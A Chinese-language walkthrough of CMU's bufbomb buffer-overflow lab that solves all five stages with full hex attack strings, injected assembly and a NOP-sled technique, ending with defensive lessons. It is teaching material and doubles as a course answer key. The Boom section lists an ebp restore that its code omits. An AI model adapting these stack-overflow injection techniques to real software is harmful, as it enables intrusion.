逆向工程实战:从零攻破CMU缓冲区溢出实验的五重关卡
在计算机安全领域,缓冲区溢出攻击是最经典也最具教育意义的漏洞类型之一。CMU的BUFBOMB实验作为《计算机组成原理》课程的经典实践项目,通过五个渐进式挑战(Smoke到Nitro)带领学习者深入理解IA-32架构下的栈帧结构和函数调用机制。本文将使用GDB和objdump这对黄金组合,配合hex2raw工具,带你一步步破解全部五个关卡。
1. 实验环境搭建与工具准备
首先需要配置适合的实验环境。推荐使用Ubuntu 20.04 LTS作为基础系统,确保已安装以下工具包:
sudo apt update sudo apt install -y gcc-multilib gdb build-essential关键工具链说明:
- GDB:带增强功能的调试器,建议安装PEDA插件增强逆向分析能力
- objdump:反汇编工具,用于静态分析可执行文件
- hex2raw:实验配套工具,将十六进制格式的攻击字符串转换为原始二进制数据
实验文件结构应如下组织:
buflab/ ├── bufbomb # 目标可执行程序 ├── makecookie # 生成用户cookie的工具 └── hex2raw # 攻击字符串转换工具验证环境是否正常工作:
chmod +x bufbomb makecookie hex2raw ./makecookie your_student_id2. 逆向分析基础:理解目标程序结构
使用objdump生成反汇编代码是分析的第一步:
objdump -d bufbomb > bufbomb.asm打开生成的汇编文件,重点关注几个关键函数:
- getbuf:存在缓冲区漏洞的函数
- test:调用getbuf的测试函数
- smoke/fizz/bang/boom:各阶段的目标函数
典型的函数调用栈帧结构如下:
高地址 +-----------------+ | 返回地址 | +-----------------+ | 保存的ebp | <-- ebp +-----------------+ | 局部变量 | | ... | | 缓冲区空间 | +-----------------+ 低地址通过GDB可以动态观察栈状态:
gdb bufbomb (gdb) break getbuf (gdb) run -u your_student_id (gdb) x/32xw $esp # 查看栈内存3. 阶段一:Smoke攻击实战
Smoke是最基础的缓冲区溢出攻击,目标是通过溢出改变返回地址,使程序跳转到smoke函数而非正常返回。
3.1 确定关键地址
首先在反汇编代码中找到smoke函数的地址:
grep -A 10 "<smoke>:" bufbomb.asm假设输出显示smoke地址为0x08048c18。
3.2 分析缓冲区结构
在getbuf函数中查找缓冲区大小:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 50 push %eax 80491fe: e8 8d fa ff ff call 8048c90 <Gets> 8049203: b8 01 00 00 00 mov $0x1,%eax 8049208: c9 leave 8049209: c3 ret这里lea -0x28(%ebp)表明缓冲区起始于ebp-0x28,大小为40字节(0x28)。
3.3 构造攻击字符串
攻击字符串结构:
[40字节填充] + [4字节保存的ebp] + [4字节smoke地址]创建attack1.txt:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08转换为二进制并执行:
cat attack1.txt | ./hex2raw | ./bufbomb -u your_student_id4. 阶段二:Fizz攻击进阶
Fizz阶段需要在跳转的同时传递正确的cookie参数。
4.1 定位fizz函数
grep -A 15 "<fizz>:" bufbomb.asm假设fizz地址为0x08048c42,其参数位于ebp+8。
4.2 获取个人cookie
./makecookie your_student_id假设输出为0x1d228b91。
4.3 构造带参数的攻击字符串
攻击字符串结构:
[40字节填充] + [4字节保存的ebp] + [4字节fizz地址] + [4字节返回地址] + [4字节cookie]创建attack2.txt:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d5. 阶段三:Bang与代码注入
Bang阶段需要注入可执行代码来修改全局变量。
5.1 确定全局变量地址
使用GDB查找global_value的地址:
(gdb) p &global_value $1 = (<data variable, no debug info> *) 0x804d1005.2 编写注入代码
创建bang_qbw.s汇编文件:
movl $0x1d228b91, 0x804d100 # 设置global_value push $0x8048c9d # 压入bang地址 ret # 跳转到bang编译并提取机器码:
gcc -m32 -c bang_qbw.s objdump -d bang_qbw.o5.3 确定代码注入位置
在getbuf中设置断点,查看缓冲区地址:
(gdb) break *0x80491fa (gdb) run -u your_student_id (gdb) p/x $ebp-0x28 $2 = 0x55683dc85.4 构造最终攻击字符串
[注入代码] + [填充至40字节] + [4字节保存的ebp] + [4字节代码起始地址]6. 阶段四:Boom与栈帧修复
Boom阶段需要让getbuf返回cookie值并正确返回到test。
6.1 确定test的返回点
在反汇编中查找test调用getbuf后的地址:
8048db9: e8 36 fc ff ff call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx # 目标返回点6.2 编写注入代码
注入代码需要:
- 将cookie存入eax
- 恢复正确的ebp值
- 返回到test中的指定地址
汇编代码:
mov $0x1d228b91, %eax # 设置返回值 push $0x8048dbe # 压入返回地址 ret6.3 动态获取栈信息
在getbuf返回前查看ebp值:
(gdb) break *0x8049208 (gdb) run -u your_student_id (gdb) p/x $ebp $3 = 0x556836987. 阶段五:Nitro与地址随机化对抗
Nitro阶段面临栈地址随机化的挑战,需要使用NOP雪橇技术。
7.1 分析getbufn的栈结构
getbufn使用大缓冲区且每次栈位置不同:
sub $0x208,%esp # 520字节缓冲区 lea -0x200(%ebp),%eax # 缓冲区起始地址7.2 确定NOP雪橇范围
通过多次运行获取ebp的可能范围:
for i in {1..10}; do gdb -batch -ex "break getbufn" -ex "run -n -u your_student_id" -ex "p/x \$ebp" bufbomb done假设观察到ebp在0x55683400到0x55683600之间变化。
7.3 构造自适应攻击字符串
攻击字符串结构:
[NOP雪橇] + [注入代码] + [重复的返回地址]其中返回地址应指向雪橇中间的某个位置,如0x55683500。
注入代码需要:
- 恢复正确的栈帧关系
- 设置cookie返回值
- 正确返回到testn
汇编代码:
lea 0x28(%esp), %ebp # 动态计算原始ebp mov $0x1d228b91, %eax push $0x8048e3a ret8. 调试技巧与常见问题解决
8.1 GDB实用命令速查
| 命令 | 描述 |
|---|---|
x/10i $eip | 查看当前指令附近的反汇编 |
x/32xw $esp | 以16进制查看栈内容 |
info frame | 查看当前栈帧信息 |
watch *0x804d100 | 监视全局变量变化 |
8.2 常见错误排查
段错误(SEGFAULT):
- 检查返回地址是否有效
- 确认注入代码没有错误指令
攻击无效:
- 使用
xxd检查生成的二进制文件 - 在GDB中单步跟踪执行流程
- 使用
hex2raw问题:
- 确保文本文件使用Unix换行符(LF)
- 检查是否有空格以外的非法字符
8.3 自动化测试脚本
创建测试脚本run_attack.sh:
#!/bin/bash for i in {1..5}; do echo "Testing attack$i.txt..." cat attack$i.txt | ./hex2raw | ./bufbomb -u your_student_id echo "" done9. 扩展思考与安全启示
通过这五个阶段的实践,我们不仅掌握了缓冲区溢出攻击的技术细节,更应该理解其背后的安全启示:
- 边界检查的重要性:所有内存操作都应进行严格的边界检查
- 非执行位(NX)的保护作用:现代系统使用NX位防止栈上代码执行
- 地址随机化(ASLR)的缓解效果:Nitro阶段展示了ASLR如何增加攻击难度
- 编译期防护措施:如栈保护器(stack canary)的原理和绕过方法
这些实验虽然是在教学环境中设计的,但真实世界中的漏洞利用原理与此相通。理解攻击手段是构建有效防御的基础,这也是CMU设计这些实验的深层目的。